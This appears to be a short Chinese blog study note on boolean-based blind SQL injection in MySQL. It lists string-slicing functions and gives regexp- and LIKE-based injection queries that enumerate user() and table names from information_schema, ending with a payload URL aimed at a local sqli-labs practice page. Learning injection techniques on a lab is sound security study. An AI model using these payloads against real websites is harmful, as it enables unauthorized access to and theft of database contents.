盲注----基于布尔的SQL盲注

Posted on 2016-11-11 16:00  Y-HKL  阅读(343)  评论(0编辑  收藏  举报

构造逻辑判断
常用字符串截取函数http://www.cnblogs.com/yyccww/p/6054569.html
常用函数
left(a,b)  从左侧截取a的前b位
right(a,b)  从右侧截取a的前b位
substr(a,b,c)  从b位置,将字符串a截取c的长度
mid(a,b,c)   从b位置,将字符串a截取c的长度
ascii()  将字符转换为ascii
ord()同ascii()一样



repexp正则注入
用法select user() regexp '^[a-z]'
第二位可以用select user() regexp '^ro'
当正确的时候显示结果为1,不正确的是时候结果为0
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0))
select * from users where id=1 and 1=(user() regexp '^r')
^是从开头进行匹配,$是从结尾开始匹配

详细信息http://www.cnblogs.com/yyccww/p/6054579.html


通过if语句的条件判断,返回一些条件句,比如if构造一个判断.根据返回结果是否等于0或者等于1进行判断
select * from users where id=1
and 1=(select 1 from
information_schema.tables
where table_schema='secrity' and
table_name regexp '^us[a-z]' limit 0,1)

like匹配注入
和上述的正则类似,mysql在匹配的时候我们可以用like进行匹配

用法 select user() like 'ro%'
http://127.0.0.1/sqli/Less-5/?id=1'  and user() like 'eo%'--+